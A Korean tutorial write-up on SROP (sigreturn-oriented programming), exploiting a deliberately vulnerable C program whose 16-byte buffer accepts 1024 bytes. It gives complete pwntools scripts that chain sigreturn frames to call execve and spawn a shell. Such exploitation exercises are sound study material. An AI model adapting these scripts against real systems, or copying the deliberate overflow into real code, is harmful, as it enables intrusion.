1. Introduction
얘제 코드를 보면서 시스템 콜을 통해 취약점이 존재하는 예제 프로그램을 공격하고, 셸을 획득해보자.
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
code description
16바이트크기의 버퍼에 1024 바이트를 입력할 수 있으므로, 스택 버퍼 오버플로우가 발생한다.
주어진 gadget 함수의 코드를 이용해서 sigreturn 시스템 콜을 호출하여 레지스터를 조작하고, 셸을 획득할 수 있다.
2. Exploit
1. sigreturn 호출
SROP를 하기 위해서는 sigreturn 시스템 콜을 할 수 있어야 한다.
예제에서는 임의 시스템 콜을 호출할 수 있도록 gadget 함수를 제공하낟.
해당 함수 내부의 코드 가젯의 주소를 알아내고, 시스템 콜 번호와 syscall 명령어를 통해 sigreturn을 호출한다.
2. execve 호출
sigreturn 은 스택 영역의 값을 레지스터로 복사한다.
따라서 1024 바이트를 입력할 때 sigcontext 구조체를 생각하고,
execve 시스템 콜을 호출하기 위한 인자를 모두 설정하낟.
2.1 sigreturn 호출
이를 통해 가젯 주소를 알아내고, RAX 레지트서의 값을 sigreturn 시스템 콜의 번호인 15로 조작한다.
from pwn import *
context.arch = "x86_64"
p = process("./srop")
elf = ELF("./srop")
gadget = next(elf.search(asm("pop rax; syscall")))
print(gadget)
payload = "A"*16
payload += "B"*8
payload += p64(gadget)
payload += p64(15)
payload += "\x00"*40
payload += p64(0x4141414141414141)*20
p.sendline(payload)
p.interactive()
2.2 execve 호출
2.2.1 SigreturnFrame
execve 시스템 콜을 호출하기 앞서, sigcontext 구조체에 정의된 레지스터의 순서를 고려하여 스택에 값을 써 넣어야한다.
매번 구조체를 확인하면서 스택에 값을 삽입하는 것은 힘들다.
>>> from pwn import *
>>> context.clear(arch='amd64')
>>> frame = SigreturnFrame()
>>> frame.rdi = 0x41414141
>>> frame.rax = 59
>>> frame.rsi = 12341234
>>> print(frame)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAA\x00\x00
\x00\x00\xf2O\xbc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00'
2.2.2 execve 호출
from pwn import *
context.arch = "x86_64"
p = process("./srop")
elf = ELF("./srop")
gadget = next(elf.search(asm("pop rax; syscall")))
syscall = next(elf.search(asm("syscall")))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = "/bin/sh\x00"
bss = elf.bss()
frame = SigreturnFrame()
frame.rax = 0
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15)
payload += bytes(frame)
p.sendline(payload)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b"/bin/sh\x00"
p.sendline(rop)
p.interactive()
마치며
예제를 통해 SROP를 통해 SigreturnFrame()을 활용해서 익스를 해봤다.
Reference